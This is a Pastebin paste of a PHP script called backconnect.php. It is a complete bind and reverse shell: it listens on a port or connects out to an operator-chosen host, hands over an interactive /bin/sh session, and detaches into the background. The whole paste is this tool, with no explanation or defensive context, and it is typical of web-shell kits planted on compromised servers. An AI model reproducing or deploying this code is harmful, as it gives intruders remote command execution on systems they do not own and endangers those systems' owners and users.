Advertisement
mathio3

backconnect.php

Jan 22nd, 2019
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.02 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. ob_implicit_flush();
  5. $targets=explode(" ",$target);
  6. $cs=1337;
  7. $wa=null;
  8. $ea=null;
  9. $sh="export TERM=xterm;PS1='\$PWD>';export PS1;/bin/sh -i";
  10. $m="sh connected : connected\n";
  11. if(count($targets)==1){
  12.     $p=$target;
  13.     $h="";
  14.     $t="bind";
  15. }
  16. elseif(count($targets)==2){
  17.     $p=$targets[0];
  18.     $h=$targets[1];
  19.     $t="back";
  20. }
  21. if(function_exists('pcntl_fork')){
  22.     $pid=pcntl_fork();
  23.     if($pid==-1)exit(1);
  24.     if($pid)exit(0);
  25.     if(posix_setsid()==-1)exit(1);
  26. }
  27. if($t=="bind"){
  28.     $s=stream_socket_server("tcp://0.0.0.0:".$p,$errno,$errstr);
  29.     stream_set_timeout($s,30);
  30.     $c=stream_socket_accept($s);
  31.     if(strtolower(substr(php_uname(),0,3))=="win"){
  32.         fwrite($c,$m.getcwd().">");
  33.         while($p!==false){
  34.             $p=fgets($c);
  35.             if(preg_match("/cd\ ([^\s]+)/i",$p,$rr)){
  36.                 $dd=$rr[1];
  37.                 if(is_dir($dd))chdir($dd);
  38.                 $o=getcwd().">";
  39.             }
  40.             elseif(trim(strtolower($p))=="exit" || trim(strtolower($p))=="quit") break;
  41.             else $o=exe($p)."\n".getcwd().">";
  42.             fwrite($c,$o);
  43.         }
  44.         fclose($c);
  45.         fclose($s);
  46.     }
  47.     else{
  48.         fwrite($c,$m);
  49.         $ds=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
  50.         $pr=proc_open($sh,$ds,$pip);
  51.         if(!is_resource($pr))exit(1);
  52.         stream_set_blocking($pip[0],0);
  53.         stream_set_blocking($pip[1],0);
  54.         stream_set_blocking($pip[2],0);
  55.         stream_set_blocking($c,0);
  56.         while(true){
  57.             if(feof($c)||feof($pip[1]))break;
  58.             $ra=array($c,$pip[1],$pip[2]);
  59.             stream_select($ra,$wa,$ea,null);
  60.             if(in_array($c,$ra)){
  61.                 $i=fread($c,$cs);
  62.                 fwrite($pip[0],$i);
  63.             }
  64.             if(in_array($pip[1],$ra)){
  65.                 $i=fread($pip[1],$cs);
  66.                 fwrite($c,$i);
  67.             }
  68.             if(in_array($pip[2],$ra)){
  69.                 $i=fread($pip[2],$cs);
  70.                 fwrite($c,$i);
  71.             }
  72.         }
  73.         fclose($s);fclose($c);fclose($pip[0]);fclose($pip[1]);fclose($pip[2]);
  74.         proc_close($pr);
  75.     }
  76. }
  77. elseif($t=="back"){
  78.     $s=fsockopen($h,$p,$en,$es,30);
  79.     if(strtolower(substr(php_uname(),0,3))=="win"){
  80.         fwrite($s,$m.getcwd().">");
  81.         while($p!==false){
  82.             $p=fgets($s);
  83.             if(preg_match("/cd\ ([^\s]+)/i",$p,$rr)){
  84.                 $dd=$rr[1];
  85.                 if(is_dir($dd))chdir($dd);
  86.                 $o=getcwd().">";
  87.             }
  88.             elseif(trim(strtolower($p))=="exit" || trim(strtolower($p))=="quit") break;
  89.             else $o=exe($p)."\n".getcwd().">";
  90.             fwrite($s,$o);
  91.         }
  92.         fclose($s);
  93.     }
  94.     else{
  95.         fwrite($s,$m);
  96.         $ds=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
  97.         $pr=proc_open($sh,$ds,$pip);
  98.         if(!is_resource($pr))exit(1);
  99.         stream_set_blocking($pip[0],0);
  100.         stream_set_blocking($pip[1],0);
  101.         stream_set_blocking($pip[2],0);
  102.         stream_set_blocking($s,0);
  103.         while(true){
  104.             if(feof($s)||feof($pip[1]))break;
  105.             $ra=array($s,$pip[1],$pip[2]);
  106.             stream_select($ra,$wa,$ea,null);
  107.             if(in_array($s,$ra)){
  108.                 $i=fread($s,$cs);
  109.                 fwrite($pip[0],$i);
  110.             }
  111.             if(in_array($pip[1],$ra)){
  112.                 $i=fread($pip[1],$cs);
  113.                 fwrite($s,$i);
  114.             }
  115.             if(in_array($pip[2],$ra)){
  116.                 $i=fread($pip[2],$cs);
  117.                 fwrite($s,$i);
  118.             }
  119.         }
  120.         fclose($s);fclose($pip[0]);fclose($pip[1]);fclose($pip[2]);
  121.         proc_close($pr);
  122.     }
  123. }
  124. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement